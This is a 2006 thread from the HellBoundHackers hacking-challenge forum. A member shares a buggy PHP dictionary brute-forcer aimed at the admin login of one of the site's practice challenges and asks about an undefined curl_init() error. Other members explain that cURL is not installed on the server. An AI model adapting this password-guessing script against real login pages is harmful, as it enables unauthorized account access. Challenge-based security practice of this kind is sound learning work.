Follow us on Twitter!
It is never to LATE to become what you never WERE.
Friday, April 25, 2014
Navigation
Home
HellBoundHackers Main:
HellBoundHackers Find:
HellBoundHackers Information:
Learn
Communicate
Submit
Shop
Challenges
HellBoundHackers Exploit:
HellBoundHackers Programming:
HellBoundHackers Think:
HellBoundHackers Track:
HellBoundHackers Patch:
HellBoundHackers Other:
HellBoundHackers Need Help?
Other
Members Online
Total Online: 19
Guests Online: 16
Members Online: 3

Registered Members: 82909
Newest Member: awais
Latest Articles
View Thread

HellBound Hackers | Computer General | Programming

Author

For those who know php

bl4ckc4t
Member

Your avatar

Posts: 591
Location: /etc/
Joined: 07.03.06
Rank:
Wiseman
Posted on 11-05-06 00:28
Ok, I have a nice lil bruteforcer in php, but im getting an error -
Fatal error: Call to undefined function curl_init() in /hd2/djcsites/i love hbh. keep up the good work!.com/thethreecats/bruteforcer.php on line 6


What can I do to fix it?
and yes, I did look at other people's codes and got the ideas from other people's source.
here is my code:


Code
<html>
<body>
<?php
  $fh = fopen("dic.txt", "r");
  while(!feof($fh)) {
   $curl = curl_init();
   $pass = fgets($fh,1024);
   $data = fread($fh, filesize('dic.txt'));

   curl_setopt($curl,

CURLOPT_URL,"http://hellboundhackers.org/challenges/real8/admin.php");
   curl_setopt($curl, CURLOPT_POST, 1);
   curl_setopt($curl, CURLOPT_POSTFIELDS,

"Uname=admin&Pword=$pass&Submit=True");

   curl_exec ($curl);
   curl_close ($curl);
 

  $result = eregi("Incorrect", $data);
   if ( $result == 0 ) {
    echo "$pass is the password!";
   break;
  fclose($fh);
  }
}

?>

<p /> Again!
</body>
</html>





Author

RE: For those who know php


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 02:45
Well, the error you're getting is that PHP doesn't recognize the function on line 6, curl_init(). The only reason I can think of that occuring is if you're running a version of PHP before 4.0.3, since that's when the function came about. But that's really old...are you running on a commercial server or off of a private home one?


Author

RE: For those who know php

AldarHawk
Member



Posts: 1690
Location: Canada
Joined: 26.01.06
Rank:
Hacker Level 1
Posted on 11-05-06 02:49
the server you are running that off of does not have curl installed on it. easy as that.


Just ask Yahoo!Taboo! http://www.erikwestlake.com
Author

RE: For those who know php


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 04:25
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.


*smacks forehead* yeah, I guess that makes sense Pfft...I've never dealt with a server that didn't have CURL on it, so I never realized that it wasn't built in. Just goes to show how much I know... Pfft

From PHP.NET...
Requirements

In order to use PHP's CURL functions you need to install the libcurl package. PHP requires that you use libcurl 7.0.2-beta or higher. In PHP 4.2.3, you will need libcurl version 7.9.0 or higher. From PHP 4.3.0, you will need a libcurl version that's 7.9.8 or higher. PHP 5.0.0 requires a libcurl version 7.10.5 or greater.



Author

RE: For those who know php


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 05:44
If you need hosting with any specific PHP modules, drop me a PM. We can discuss rates to fit.


Author

RE: For those who know php

bl4ckc4t
Member

Your avatar

Posts: 591
Location: /etc/
Joined: 07.03.06
Rank:
Wiseman
Posted on 11-05-06 06:30
AldarHawk wrote:
the server you are running that off of does not have curl installed on it. easy as that.


Logical.
I may just host my own, Currently I have a i love hbh. keep up the good work! site for all my scripts and stuff I use.


Author

RE: For those who know php


Member

Your avatar

Posts:
Location:
Joined: 01.01.70
Rank:
Guest
Posted on 11-05-06 17:06
Download EasyPHP.